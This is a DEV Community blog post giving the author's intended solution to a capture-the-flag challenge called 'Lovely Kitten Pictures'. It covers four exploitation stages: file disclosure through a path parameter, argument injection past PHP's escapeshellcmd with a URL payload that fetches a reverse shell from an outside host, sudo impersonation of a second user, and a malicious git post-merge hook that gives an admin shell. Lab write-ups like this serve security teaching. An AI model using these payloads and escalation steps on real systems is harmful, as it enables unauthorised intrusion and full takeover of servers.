DEV Community

Breno Vitório
Breno Vitório

Posted on

Lovely Kitten Pictures - Intended Solution

When we see the page for the first time, there's a picture of a cat, and also a button that switches between different cat pictures:

initial page

🐈 Flag 1

If we try to open one of the pictures in a new tab, it's possible to see that the picture is actually being loaded by a PHP endpoint, and that the request has a path parameter, like this:

http://challenge.com/pictures.php?path=assets/4.jpg

Just by seeing a file being loaded like this, the first thing we may try is to replace assets/4.jpg for something like ../../../etc/passwd, but when we try that, the endpoint returns the message Not yet!.

Trying similar path traversal payloads also seems to not work, but when we try to load a file that's inside of the project, like index.php, this file is downloaded and we get the first flag as part of the filename.

🐈 Flag 2

This index.php file doesn't actually have anything we couldn't see with the browser developer tools, but when we look at the <script> tag at the bottom of the page, we can see that fetch() being called in order to make an HTTP request to another php file called cat_info.php, and we can download it just like we did with the previous file!

When we read the file, it's possible to see something interesting:

$kittenID = $_GET['id'];
$cmd = escapeshellcmd("/var/www/html/cat_info/main -c $kittenID");
$output = shell_exec($cmd);
Enter fullscreen mode Exit fullscreen mode

So it picks up the request parameter id and use it as an argument while calling a shell command with escapeshellcmd. According to the PHP documentation, this function:

(...) escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.

So we cannot just add commands after the cat's ID, because they will be sanitized. But the same page in PHP docs also has this warning regarding escapeshellcmd:

(...) it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.

We can see from the code above that escapeshellarg is not being used at all, and this means that we can add extra arguments to this command which is being called. If we simply try to add a -h flag after the kitten id, resulting in a request like /cat_info.php?id=4 -h, this banner will be displayed:

Program banner

It says that the flag -e can be used along with a URL in order to execute health checks, and a .sh file is being passed in the examples of usage, which is interesting. It also says that only localhost URLs will be allowed, but its filter can be bypassed with a @ character, and a payload like the one below will give us a reverse shell:

/cat_info.php?id=4 -e http://localhost@reverse-shell.sh/YOUR_IP:PORT

When in the server, as the user www-data, apparently Python is not installed, but the script command may be used in order to get a more interactive shell:

script -qc /bin/bash /dev/null

Now if we go to the / directory, it is possible to see the second flag in the file flag2.txt.

🐈 Flag 3

Now heading to the /home directory, it is possible to see the home directories of two other different users, level1 and admin. So we might guess that the final goal is to get access to this admin user.

When we try to access one of these home directories, such as level1, an error message says:

bash: cd: level1: Permission denied

But when we execute sudo -l, it returns that we have permission to execute su level1 and impersonate level1 without knowing its password, so we just execute:

sudo su level1

And now we can go to /home/level1 and get the third flag, which is in flag3.txt.

🐈 Flag 4

Now that we are level1 and not www-data, when we execute sudo -l again, it will show the following content:

right to execute git pull as the admin user

This means that we can use git pull as the admin, using the sudo command like sudo -u admin git pull, and that's when writing a git hook might help us!

In order to do so, just go to the /tmp directory and clone any public git repository, such as public-apis/public-apis, using git clone. After that, access the new repository directory and make it go "back in time" by one commit, using the following command:

git reset --hard HEAD^1

The idea is to execute git pull for updating the repository again, while we get an admin shell. So we can create a post-merge file in the .git/hooks directory using nano (apparently vi is not installed, because nano is better 😲), and also add to it the following script:

#!/bin/bash

exec /bin/bash 0<&2 1>&2

This should, at least in theory, spawn an admin shell after git pull does what it needs to do. But when we try to execute sudo -u admin git pull in the repository root directory, the following error message appears:

permission denied

If we look at the permissions inside of the directory with something like ls -la, we are going to see that other users don't have write permissions inside of the repository, just level1 itself. In this case, a command like chmod -R 757 /tmp/your_repository does the trick.

Now trying to execute git pull as the admin again, boom! In the end of the process, we are going to have an admin session, and we can go to /home/admin and get the final flag :D

admin session

Top comments (0)